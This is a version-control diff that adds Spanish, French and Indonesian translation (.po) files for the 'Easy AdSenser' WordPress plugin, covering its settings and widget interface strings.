+#: admin.php:273
+msgid "Or"
+msgstr "O"
+
+#: admin.php:273
+msgid "Contact the plugin author through email"
+msgstr "Contactar con el autor del plugin mediante email"
+
+#: admin.php:273
+msgid "[Email Author]"
+msgstr "[Autor del Email]"
+
+#: admin.php:276
+msgid "Check out my other plugin efforts:"
+msgstr "Ya que estas comprueba mis otros plugins:"
+
+#: admin.php:279
+msgid ""
+"To modify the color scheme of your themes with no CSS/Stylesheet editing."
+msgstr "Para modificar el color del esquema de tus temas sin cambiar el CSS/Stylesheet"
+
+#: admin.php:282
+msgid ""
+"To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] "
+"into this:"
+msgstr "Para traducir forumulas de LaTeX de este tipo [math](a+b)^2 = a^2 + b^2 + 2ab[/math] "
+"a esto:"
+
+#: admin.php:285
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr "Mi querido plugin para adsense. Sin problemas, sin confusi&oacute;n."
+
+#: admin.php:295
+msgid "Future Plans"
+msgstr "Planes futuros"
+
+#: admin.php:299
+msgid ""
+"Make the Google Link Units widget multi-insertable. [In version 2.0, the "
+"Link Units widgets are repeated because I cannot figure out how to do multi-"
+"insertable widgets in a neat way.]"
+msgstr "Hacer los widgets de enlace de google multi-insertables. [En la versi&oacute;n 2.0, los "
+"widgets de enlace de google estan repetidos porque no se como hacer widgets multi-"
+"insertable de forma clara.]"
+
+#: admin.php:302
+msgid "Enable ad blocks in category view (User request)."
+msgstr "Habilitar publicidad en vista por categor&iacute;as (A petici&oacute;n del usuario)."
+
+#: admin.php:305
+msgid "Release translated versions of the plugin. (Need your help!)"
+msgstr "Necesitamos versiones traducidas del plugin. (&iexcl;Y tu ayuda!)"
+
+#: easy-adsenser.php:244
+msgid "Settings Updated."
+msgstr "Configuraci&oacute;n actualizada."
+
+#: easy-adsenser.php:251
+msgid "Ok, all your settings have been discarded!"
+msgstr "Listo, toda tu configuraci&oacute;n ha sido descartada"
+
+#: easy-adsenser.php:259
+msgid ""
+"Error locating the admin page!\n"
+"Ensure admin.php exists, or reinstall the plugin."
+msgstr "&iexcl;Error al intentar encontrar el la p&aacute;gina de administraci&oacute;n! \n"
+"Aseg&uacute;rate que exista admin.pjp o reinstala el plugin."
+
+#: easy-adsenser.php:272
+msgid "Settings"
+msgstr "Configuraci&oacute;n"
+
+#: easy-adsenser.php:439
+msgid "Sponsored Links"
+msgstr "Enlaces patrocinados"
+
+#: easy-adsenser.php:518
+msgid "Easy AdSenser: Show a Google AdSense block in your sidebar as a widget"
+msgstr "AdSenser f&aacute;cil: Mostrar publicidad Adsense como un widget en la barra lateral"
+
+#: easy-adsenser.php:523
+msgid "Easy AdSenser: Show a Google Search Box in your sidebar as a widget"
+msgstr "AdSenser f&aacute;cil: Mostrar una barra de b&uacute;squeda Google como un widget en la barra lateral"
+
+#: easy-adsenser.php:567
+msgid "Easy AdSenser: Show a Google Links Unit in your sidebar as a widget"
+msgstr "AdSenser f&aacute;cil: Mostrar una unidad de enlaces Google como un widget en la barra lateral"
+
+#. Plugin Name of an extension
+msgid "Easy AdSenser"
+msgstr "AdSenser f&aacute;cil"
+
+#. Plugin URI of an extension
+msgid "http://www.thulasidas.com/adsense"
+msgstr ""
+
+#. Description of an extension
+msgid ""
+"Easiest way to show AdSense and make money from your blog. Configure it at "
+"<a href=\"options-general.php?page=easy-adsenser.php\">Settings &rarr; Easy "
+"AdSenser</a>, or use the \"Settings\" link on the right."
+msgstr "La forma mas f&aacute;cil para mostrar Adsense y hacer dinero con tu blog. Config&uacute;ralo en "
+"<a href=\"options-general.php?page=easy-adsenser.php\">Opciones &rarr; Easy "
+"AdSenser</a>, o podes usar el enlace de \"Opciones\" a la derecha."
+
+#. Author of an extension
+msgid "Manoj Thulasidas"
+msgstr " Manoj Thulasidas ( Versi&oacute;n en castellano: <a href=\"http://www.maikeladas.es\">Maikel Fr&iacute;as</a>"
+
+#. Author URI of an extension
+msgid "http://www.thulasidas.com"
+msgstr ""
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/fr_FR/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/fr_FR/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/fr_FR/easy-adsenser.po	(revision 44)
@@ -0,0 +1,438 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Manoj Thulasidas
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/easy-adsenser\n"
+"POT-Creation-Date: 2009-03-26 23:25+0000\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: admin.php:6
+msgid "Instructions"
+msgstr "Les instructions (Au secours! Je ne parle plus de francais!)"
+
+#: admin.php:12
+msgid ""
+"Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; "
+"Get Ads)."
+msgstr "Generer le code d'AdSense (a http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+
+#: admin.php:17
+msgid ""
+"Cut and paste the AdSense code into the boxes below, deleting the existing "
+"text."
+msgstr "Couper/Coller le code d'AdSense dans les boites en bas en remplacant le texte actuel."
+
+#: admin.php:22
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "Preciser comment aligner et faire voir le code dans votre blog."
+
+#: admin.php:27
+msgid ""
+"Take a look at the Google policy option, and other options. The defaults "
+"should work."
+msgstr "Jeter un coup d'oeil sur les polices de Google."
+
+#: admin.php:32
+msgid "Save the options, and you are done!"
+msgstr "Sauvegarder vos options. Ca y est!"
+
+#: admin.php:37
+#, php-format
+msgid ""
+"If you want to use the widgets, drag and drop them at %s Appearance (or "
+"Design) &rarr; Widgets %s"
+msgstr "Si vous voulez vous servir des widgets, les configuerer a %s Appearance (or "
+"Design) &rarr; Widgets %s"
+
+#: admin.php:42
+#, php-format
+msgid "Need to control ad blocks on each post? &nbsp; %s"
+msgstr "Voulez-vous preciser les ad blocks sur chaque page? &nbsp; %s"
+
+#: admin.php:51
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "Options (pour le theme %s)"
+
+#: admin.php:64
+msgid "Ad Blocks in Your Posts"
+msgstr "Les ad blocks dans vos postes"
+
+#: admin.php:65
+msgid "[Appears in your posts and pages]"
+msgstr "[pour vos postes et pages]"
+
+#: admin.php:75
+msgid "Widgets for Your Sidebars"
+msgstr "Les widgets pour vos sidebars"
+
+#: admin.php:76
+msgid ""
+"[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+msgstr "[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+
+#: admin.php:90
+msgid "Lead-in AdSense Text"
+msgstr ""
+
+#: admin.php:91
+msgid "(Appears near the beginning of the post)"
+msgstr ""
+
+#: admin.php:94 admin.php:109 admin.php:124 admin.php:164 admin.php:180
+msgid "Ad Alignment"
+msgstr ""
+
+#: admin.php:95 admin.php:110 admin.php:125 admin.php:165 admin.php:181
+msgid "(Where to show?)"
+msgstr ""
+
+#: admin.php:97 admin.php:112 admin.php:127 admin.php:167 admin.php:183
+msgid "Align Left"
+msgstr ""
+
+#: admin.php:98 admin.php:113 admin.php:128 admin.php:168 admin.php:184
+msgid "Center"
+msgstr ""
+
+#: admin.php:99 admin.php:114 admin.php:129 admin.php:169 admin.php:185
+msgid "Align Right"
+msgstr ""
+
+#: admin.php:100
+msgid "Suppress Lead-in Ad"
+msgstr ""
+
+#: admin.php:105
+msgid "Mid-Post AdSense Text"
+msgstr ""
+
+#: admin.php:106
+msgid "(Appears near the middle of the post)"
+msgstr ""
+
+#: admin.php:115
+msgid "Suppress Mid-post Ad"
+msgstr ""
+
+#: admin.php:120
+msgid "Post Lead-out AdSense Text"
+msgstr ""
+
+#: admin.php:121
+msgid "(Appears near the end of the post)"
+msgstr ""
+
+#: admin.php:130
+msgid "Suppress Lead-out Ad"
+msgstr ""
+
+#: admin.php:138
+msgid "Option on Google Policy"
+msgstr ""
+
+#: admin.php:139
+msgid ""
+"(Google policy allows no more than three ad blocks and three link units per "
+"page)"
+msgstr ""
+
+#: admin.php:142
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr ""
+
+#: admin.php:143
+msgid "Two ad blocks."
+msgstr ""
+
+#: admin.php:144
+msgid "One ad block."
+msgstr ""
+
+#: admin.php:145
+msgid "No ad blocks in posts."
+msgstr ""
+
+#: admin.php:146
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr ""
+
+#: admin.php:148
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr ""
+
+#: admin.php:160
+msgid "AdSense Widget Text"
+msgstr ""
+
+#: admin.php:161
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr ""
+
+#: admin.php:170
+msgid "Suppress Widget"
+msgstr ""
+
+#: admin.php:171
+msgid "Widget Title:"
+msgstr ""
+
+#: admin.php:176
+msgid "AdSense Link-Units Text"
+msgstr ""
+
+#: admin.php:177
+msgid "(Appears in the Sidebar as  Widgets)"
+msgstr ""
+
+#: admin.php:186
+msgid "Suppress Link Units"
+msgstr ""
+
+#: admin.php:187
+msgid "Link Unit Title:"
+msgstr ""
+
+#: admin.php:192
+msgid "Google Search Widget"
+msgstr ""
+
+#: admin.php:193
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr ""
+
+#: admin.php:196
+msgid "Search Title"
+msgstr ""
+
+#: admin.php:197
+msgid "(Title of the Google Search Widget)"
+msgstr ""
+
+#: admin.php:201
+msgid "Suppress Search Box"
+msgstr ""
+
+#: admin.php:202
+msgid "Custom Title:"
+msgstr ""
+
+#: admin.php:210
+msgid "Other Options"
+msgstr ""
+
+#: admin.php:212
+msgid ""
+"Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr ""
+
+#: admin.php:213
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr ""
+
+#: admin.php:214
+msgid "Force mid-text ad (if enabled) even in short posts."
+msgstr ""
+
+#: admin.php:216
+msgid "Link-backs to"
+msgstr ""
+
+#: admin.php:217
+msgid "(Consider showing at least one link.)"
+msgstr ""
+
+#: admin.php:219
+msgid "Show a link under every ad block."
+msgstr ""
+
+#: admin.php:220
+msgid "Show the link only under the first ad block."
+msgstr ""
+
+#: admin.php:221
+msgid "Show the link at the bottom of your blog page."
+msgstr ""
+
+#: admin.php:222
+msgid "Show no links to my blog anywhere (Are you sure?!)"
+msgstr ""
+
+#: admin.php:232
+msgid "Save Changes"
+msgstr ""
+
+#: admin.php:232
+msgid "Save the changes as specified above"
+msgstr ""
+
+#: admin.php:233
+msgid "Reset Options"
+msgstr ""
+
+#: admin.php:233
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr ""
+
+#: admin.php:233
+msgid ""
+"[This <b>Reset Options</b> button discards all your changes and loads the "
+"default options. This is your only warning!]"
+msgstr ""
+
+#: admin.php:240
+msgid "Support Easy AdSenser"
+msgstr ""
+
+#: admin.php:245
+#, php-format
+msgid ""
+"If you would like support my efforts, please visit (and link-back to) my "
+"blog - %s"
+msgstr ""
+
+#: admin.php:248
+#, php-format
+msgid ""
+"If you like the content and style of my blog, %s. In other words, lend me "
+"your eyes, but don't give me any money unless you like what you see. %s"
+msgstr ""
+
+#: admin.php:251
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr ""
+
+#: admin.php:269
+msgid ""
+"Consider leaving it unchanged. If you must suppress it, please use the Link-"
+"back options above."
+msgstr ""
+
+#: admin.php:273
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr ""
+
+#: admin.php:273
+msgid "Post it in the WordPress forum"
+msgstr ""
+
+#: admin.php:273
+msgid "[WordPress Forum]"
+msgstr ""
+
+#: admin.php:273
+msgid "Or"
+msgstr ""
+
+#: admin.php:273
+msgid "Contact the plugin author through email"
+msgstr ""
+
+#: admin.php:273
+msgid "[Email Author]"
+msgstr ""
+
+#: admin.php:276
+msgid "Check out my other plugin efforts:"
+msgstr ""
+
+#: admin.php:279
+msgid ""
+"To modify the color scheme of your themes with no CSS/Stylesheet editing."
+msgstr ""
+
+#: admin.php:282
+msgid ""
+"To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] "
+"into this:"
+msgstr ""
+
+#: admin.php:285
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr ""
+
+#: admin.php:295
+msgid "Future Plans"
+msgstr ""
+
+#: admin.php:299
+msgid ""
+"Make the Google Link Units widget multi-insertable. [In version 2.0, the "
+"Link Units widgets are repeated because I cannot figure out how to do multi-"
+"insertable widgets in a neat way.]"
+msgstr ""
+
+#: admin.php:302
+msgid "Enable ad blocks in category view (User request)."
+msgstr ""
+
+#: admin.php:305
+msgid "Release translated versions of the plugin. (Need your help!)"
+msgstr ""
+
+#: easy-adsenser.php:244
+msgid "Settings Updated."
+msgstr ""
+
+#: easy-adsenser.php:251
+msgid "Ok, all your settings have been discarded!"
+msgstr ""
+
+#: easy-adsenser.php:259
+msgid ""
+"Error locating the admin page!\n"
+"Ensure admin.php exists, or reinstall the plugin."
+msgstr ""
+
+#: easy-adsenser.php:272
+msgid "Settings"
+msgstr ""
+
+#: easy-adsenser.php:439
+msgid "Sponsored Links"
+msgstr ""
+
+#: easy-adsenser.php:518
+msgid "Easy AdSenser: Show a Google AdSense block in your sidebar as a widget"
+msgstr ""
+
+#: easy-adsenser.php:523
+msgid "Easy AdSenser: Show a Google Search Box in your sidebar as a widget"
+msgstr ""
+
+#: easy-adsenser.php:567
+msgid "Easy AdSenser: Show a Google Links Unit in your sidebar as a widget"
+msgstr ""
+
+#. Plugin Name of an extension
+msgid "Easy AdSenser"
+msgstr ""
+
+#. Plugin URI of an extension
+msgid "http://www.thulasidas.com/adsense"
+msgstr ""
+
+#. Description of an extension
+msgid ""
+"Easiest way to show AdSense and make money from your blog. Configure it at "
+"<a href=\"options-general.php?page=easy-adsenser.php\">Settings &rarr; Easy "
+"AdSenser</a>, or use the \"Settings\" link on the right."
+msgstr ""
+
+#. Author of an extension
+msgid "Manoj Thulasidas"
+msgstr ""
+
+#. Author URI of an extension
+msgid "http://www.thulasidas.com"
+msgstr ""
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/id_ID/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/id_ID/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/id_ID/easy-adsenser.po	(revision 44)
@@ -0,0 +1,584 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Manoj Thulasidas
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: Easy AdSenser 2.3\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/easy-adsenser\n"
+"POT-Creation-Date: 2009-04-12 03:54+0000\n"
+"PO-Revision-Date: 2009-04-14 17:42+0700\n"
+"Last-Translator: Hendry Lee <hendry.lee@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Indonesian\n"
+"X-Poedit-Country: INDONESIA\n"
+
+#: admin.php:6
+msgid "Instructions"
+msgstr "Instruksi"
+
+#: admin.php:14
+msgid "How to Set it up"
+msgstr "Bagaimana memasangnya"
+
+#: admin.php:16
+#, php-format
+msgid "A few easy steps to setup %s"
+msgstr "Beberapa langkah mudah untung memasang %s"
+
+#: admin.php:21
+msgid "Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+msgstr "Hasilkan kode AdSense (dari http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+
+#: admin.php:26
+msgid "Cut and paste the AdSense code into the boxes below, deleting the existing text."
+msgstr "Ambil dan tempelkan kode AdSense ke kotak di bawah ini, hapus tulisan yang ada."
+
+#: admin.php:31
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "Putuskan bagaimana menjajarkan dan menampilkan kode dalam tulisan blog Anda."
+
+#: admin.php:35
+msgid "Take a look at the Google policy option, and other options. The defaults should work."
+msgstr "Lihat pada opsi kebijaksanaan Google, dan opsi-opsi lainnya. Opsi bawaan harusnya berfungsi."
+
+#: admin.php:40
+#, php-format
+msgid "If you want to use the widgets, drag and drop them at %s Appearance (or Design) &rarr; Widgets %s"
+msgstr "Jika Anda mau menggunakan widget, tarik dan lepaskan pada %s Tampilan (atau Desain) &rarr; Widgets %s"
+
+#: admin.php:45
+msgid "Save the options, and you are done!"
+msgstr "Simpan opsi, dan selesai!"
+
+#: admin.php:51
+msgid "How to Control AdSense on Each Post"
+msgstr "Bagaimana mengontrol AdSense pada Setiap Tulisan"
+
+#: admin.php:52
+msgid "Need to control ad blocks on each post?"
+msgstr "Ingin mengontrol blok iklan pada setiap tulisan?"
+
+#: admin.php:54
+msgid ""
+"If you want to suppress AdSense in a particular post or page, give the <b><em>comment </em></b> \"&lt;!--noadsense--&gt;\" somewhere in its text.\r\n"
+"<br />\r\n"
+"<br />\r\n"
+"Or, insert a <b><em>Custom Field</em></b> with a <b>key</b> \"adsense\" and give it a <b>value</b> \"no\".<br />\r\n"
+"<br />\r\n"
+"Other <b><em>Custom Fields</em></b> you can use to fine-tune how a post or page displays AdSense blocks:<br />\r\n"
+"<b>Keys</b>:<br />\r\n"
+"adsense-top,\r\n"
+"adsense-middle,\r\n"
+"adsense-bottom,\r\n"
+"adsense-widget,\r\n"
+"adsense-search<br />\r\n"
+"<b>Values</b>:<br />\r\n"
+"left,\r\n"
+"right,\r\n"
+"center,\r\n"
+"no"
+msgstr ""
+"Jika Anda ingin menghilangkan AdSense pada tulisan atau halaman tertentu, berikan <b><em>komentar </em><b>  \"&lt;!--noadsense--&gt;\" di mana saja di dalam tulisannya.\r\n"
+"<br />\r\n"
+"<br />\r\n"
+"Atau, masukkan sebuah <b><em>Ruas Tersuai</em></b> dengan sebuah <b>kunci</b> \"adsense\" dan berikannya sebuah <b>nilai</b> \"no\".<br />\r\n"
+"<b><em>Ruas-Ruas Tersuai</em></b> lainnya dapat digunakan untuk mengatur bagaimana sebuah tulisan menampilkan blok AdSense:<br />\r\n"
+"<b>Kunci-kunci</b>:<br />\r\n"
+"adsense-top,\r\n"
+"adsense-middle,\r\n"
+"adsense-bottom,\r\n"
+"adsense-widget,\r\n"
+"adsense-search<br />\r\n"
+"<b>Nilai-nilai</b>:<br />\r\n"
+"left,\r\n"
+"right,\r\n"
+"center,\r\n"
+"no"
+
+#: admin.php:78
+msgid "Would you like to support this plugin effort?"
+msgstr "Apakah Anda ingin mendukung plugin ini?"
+
+#: admin.php:81
+msgid "Make a donation"
+msgstr "Donasikan"
+
+#: admin.php:82
+msgid " or "
+msgstr "atau"
+
+#: admin.php:84
+#: admin.php:299
+msgid "consider buying my book"
+msgstr "pertimbangkan untuk membeli buku saya"
+
+#: admin.php:92
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "Opsi (untuk tema %s)"
+
+#: admin.php:104
+msgid "Ad Blocks in Your Posts"
+msgstr "Blok Iklan pada Tulisan Anda"
+
+#: admin.php:105
+msgid "[Appears in your posts and pages]"
+msgstr "[Ditampilkan pada Tulisan atau Halaman]"
+
+#: admin.php:115
+msgid "Widgets for Your Sidebars"
+msgstr "Widget untuk Sidebar"
+
+#: admin.php:116
+msgid "[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+msgstr "[Lihat <a href=\"widgets.php\">Tampilan (atau Desain) &rarr; Widget</a>]"
+
+#: admin.php:130
+msgid "Lead-in AdSense Text"
+msgstr "Teks yang mendahului AdSense"
+
+#: admin.php:131
+msgid "(Appears near the beginning of the post)"
+msgstr "(Ditampilkan dekat permulaan tulisan)"
+
+#: admin.php:134
+#: admin.php:149
+#: admin.php:164
+#: admin.php:204
+#: admin.php:220
+msgid "Ad Alignment"
+msgstr "Penjajaran Iklan"
+
+#: admin.php:135
+#: admin.php:150
+#: admin.php:165
+#: admin.php:205
+#: admin.php:221
+msgid "(Where to show?)"
+msgstr "(Ditunjukkan di mana?)"
+
+#: admin.php:137
+#: admin.php:152
+#: admin.php:167
+#: admin.php:207
+#: admin.php:223
+msgid "Align Left"
+msgstr "Jajar Kiri"
+
+#: admin.php:138
+#: admin.php:153
+#: admin.php:168
+#: admin.php:208
+#: admin.php:224
+msgid "Center"
+msgstr "Tengah"
+
+#: admin.php:139
+#: admin.php:154
+#: admin.php:169
+#: admin.php:209
+#: admin.php:225
+msgid "Align Right"
+msgstr "Jajar Kanan"
+
+#: admin.php:140
+msgid "Suppress Lead-in Ad"
+msgstr "Hilangkan Iklan Pendahuluan"
+
+#: admin.php:145
+msgid "Mid-Post AdSense Text"
+msgstr "Teks AdSense di Tengah Tulisan"
+
+#: admin.php:146
+msgid "(Appears near the middle of the post)"
+msgstr "(Ditampilkan dekat pada pertengahan tulisan)"
+
+#: admin.php:155
+msgid "Suppress Mid-post Ad"
+msgstr "Hilangkan Iklan di Tengah Tulisan"
+
+#: admin.php:160
+msgid "Post Lead-out AdSense Text"
+msgstr "Teks Penutupan AdSense"
+
+#: admin.php:161
+msgid "(Appears near the end of the post)"
+msgstr "(Ditampilkan dekat dengan akhir tulisan)"
+
+#: admin.php:170
+msgid "Suppress Lead-out Ad"
+msgstr "Hilangkan Iklan Penutupan"
+
+#: admin.php:178
+msgid "Option on Google Policy"
+msgstr "Opsi untuk Kebijaksanaan Google"
+
+#: admin.php:179
+msgid "(Google policy allows no more than three ad blocks and three link units per page)"
+msgstr "Kebijaksanaan Google mengizinkan tidak lebih dari tiga blok iklan dan tiga unit taut per halaman"
+
+#: admin.php:182
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr "Tiga blok iklan (termasuk widget side bar, jika diaktifkan)."
+
+#: admin.php:183
+msgid "Two ad blocks."
+msgstr "Dua blok iklan."
+
+#: admin.php:184
+msgid "One ad block."
+msgstr "Satu blok iklan."
+
+#: admin.php:185
+msgid "No ad blocks in posts."
+msgstr "Tidak ada blok iklan pada tulisan."
+
+#: admin.php:186
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr "Berapapun jumlah blok iklan (Risiko Anda sendiri!)"
+
+#: admin.php:188
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr "Jumlah widget Unit Taut (&le; 3) [Google menyuguhkan tiga saja]:"
+
+#: admin.php:200
+msgid "AdSense Widget Text"
+msgstr "Teks Widget AdSense"
+
+#: admin.php:201
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr "(Ditampilkan pada Sidebar sebagai Widget)"
+
+#: admin.php:210
+msgid "Suppress Widget"
+msgstr "Hilangkan Widget"
+
+#: admin.php:211
+msgid "Widget Title:"
+msgstr "Judul Widget:"
+
+#: admin.php:216
+msgid "AdSense Link-Units Text"
+msgstr "Teks Unit Taut AdSense"
+
+#: admin.php:217
+msgid "(Appears in the Sidebar as  Widgets)"
+msgstr "(Ditampilkan pada Sidebar sebagai Widget)"
+
+#: admin.php:226
+msgid "Suppress Link Units"
+msgstr "Hilangkan Unit Taut"
+
+#: admin.php:227
+msgid "Link Unit Title:"
+msgstr "Judul Unit Taut:"
+
+#: admin.php:232
+msgid "Google Search Widget"
+msgstr "Widget Pencarian Google"
+
+#: admin.php:233
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr "(Tambahkan sebuah Kotak Pencarian Google pada sidebar Anda)"
+
+#: admin.php:236
+msgid "Search Title"
+msgstr "Judul Pencarian"
+
+#: admin.php:237
+msgid "(Title of the Google Search Widget)"
+msgstr "(Judul dari Widget Pencarian Google)"
+
+#: admin.php:241
+msgid "Suppress Search Box"
+msgstr "Hilangkan Kotak Pencarian"
+
+#: admin.php:242
+msgid "Custom Title:"
+msgstr "Judul Tersuai:"
+
+#: admin.php:250
+msgid "Other Options"
+msgstr "Opsi-Opsi Lainnya"
+
+#: admin.php:252
+msgid "Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr "Perkenankan blok iklan dalam feed. [Mohon laporkan segala masalah yang ada dengan opsi ini.]"
+
+#: admin.php:253
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr "Prioritaskan widget sidebar. (Selalu ditampilkan pada widget, jika diaktifkan.)"
+
+#: admin.php:254
+msgid "Force mid-text ad (if enabled) even in short posts."
+msgstr "Paksakan iklan di pertengahan tulisan (jika diaktifkan) walaupun tulisannya pendek."
+
+#: admin.php:255
+msgid "Show ads only in posts (and not on pages)."
+msgstr "Tampilkan iklan hanya di tulisan (dan tidak pada halaman)."
+
+#: admin.php:257
+msgid "Link-backs to"
+msgstr "Pasang taut ke"
+
+#: admin.php:258
+msgid "(Consider showing at least one link.)"
+msgstr "(Pertimbangkan untuk menampilkan setidaknya satu taut.)"
+
+#: admin.php:260
+msgid "Show a link under every ad block."
+msgstr "Tampilkan sebuah taut di bawah setiap blok iklan."
+
+#: admin.php:261
+msgid "Show the link only under the first ad block."
+msgstr "Tampilkan taut hanya di bawah blok iklan pertama."
+
+#: admin.php:262
+msgid "Show the link at the bottom of your blog page."
+msgstr "Tampilkan taut pada akhir dari halaman blog."
+
+#: admin.php:263
+msgid "Show no links to my blog anywhere (Are you sure?!)"
+msgstr "Jangan tampilkan taut pada blog saya di mana pun (Apakah Anda yakin?)"
+
+#: admin.php:273
+msgid "Save Changes"
+msgstr "Simpan Perubahan"
+
+#: admin.php:273
+msgid "Save the changes as specified above"
+msgstr "Simpan perubahan seperti dirincikan di atas"
+
+#: admin.php:274
+msgid "Reset Options"
+msgstr "Opsi Reset"
+
+#: admin.php:274
+#: admin.php:281
+#: admin.php:284
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr "Buang semua perubahan Anda dan isi dengan bawaan. (Apakah Anda cukup yakin?)"
+
+#: admin.php:275
+msgid "Clean Database"
+msgstr "Bersihkan Database"
+
+#: admin.php:276
+msgid "Uninstall"
+msgstr "Bongkar"
+
+#: admin.php:280
+msgid "This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!"
+msgstr "Tombol <b>Opsi Reset</b> membuang semua perubahan dan mengisi dengan opsi bawaan. Ini adalah peringatan satu-satunya!"
+
+#: admin.php:283
+msgid "The <b>Database Cleanup</b> button discards all your AdSense settings you have saved so far for <b>all</b> the themes, including the current one. Use it only if you know that you won't be using these themes. Please be careful with all database operations -- keep a backup."
+msgstr "Tombol <b>Pembersihan Database</b> membuang semua pengaturan AdSense Anda yang telah disimpan sejauh ini untuk <b>semua</b> tema, termasuk yang ini. Pakai hanya jika Anda tau Anda tidak akan menggunakan tema ini. Mohon berhati-hati dengan semua operasi database - simpan cadangannya."
+
+#: admin.php:286
+#, php-format
+msgid "The <b>Uninstall</b> button really kills %s after cleaning up all the options it wrote in your database. This is your only warning! Please be careful with all database operations -- keep a backup."
+msgstr "Tombol <b>Bongkar</b> benar-benar membuang %s setelah membersihkan semua opsi yang disimpan dalam database. Ini adalah peringatan satu-satunya! Mohon berhati-hati dengan operasi database - simpan cadangannya."
+
+#: admin.php:287
+msgid "Kill this plugin. (Are you quite sure?)"
+msgstr "Hapus plugin ini. (Apakah Anda yakin?)"
+
+#: admin.php:291
+msgid "Support"
+msgstr "Dukungan"
+
+#: admin.php:296
+msgid "If you would like to support my efforts, please visit (and link-back to) my blog"
+msgstr "Jika Anda ingin mendukung usaha saya, mohon kunjungi (dan kirim taut ke) blog saya"
+
+#: admin.php:299
+msgid "If you like the content and style of my blog,"
+msgstr "Jika Anda menyukai isi dan gaya dari blog saya,"
+
+#: admin.php:324
+msgid "Support through direct donation."
+msgstr "Dukung melalui donasi langsung."
+
+#: admin.php:326
+msgid "If you find yourself making a lot of money using this plugin, consider making a donation."
+msgstr "Jika Anda mendapatkan banyak uang dari plugin ini, mohon berikan donasi."
+
+#: admin.php:336
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr "Mohon laporkan masalah apa pun. Dan berbagi pikiran dan komentar Anda."
+
+#: admin.php:336
+msgid "Post it in the WordPress forum"
+msgstr "Tulis di forum WordPress"
+
+#: admin.php:336
+msgid "[WordPress Forum]"
+msgstr "[Forum WordPress]"
+
+#: admin.php:336
+msgid "Or"
+msgstr "Atau"
+
+#: admin.php:336
+msgid "Contact the plugin author through email"
+msgstr "Hubungi penulis plugin ini melalui email"
+
+#: admin.php:336
+msgid "[Email Author]"
+msgstr "[Email Penulis]"
+
+#: admin.php:343
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr "taruh taut kecil di bawah unit iklan (pertama) ditampilkan sebagai berikut:"
+
+#: admin.php:361
+msgid "Consider leaving it unchanged. If you must suppress it, please use the Link-back options above."
+msgstr "Pertimbangkan untuk tidak mengubahnya. Jika Anda harus menghilangkannya, harap pergunakan opsi pengembalian Taut di atas."
+
+#: admin.php:365
+msgid "Check out my other plugin efforts:"
+msgstr "Lihat juga plugin saya yang lain:"
+
+#: admin.php:368
+msgid "To modify the color scheme of your themes with no CSS/Stylesheet editing."
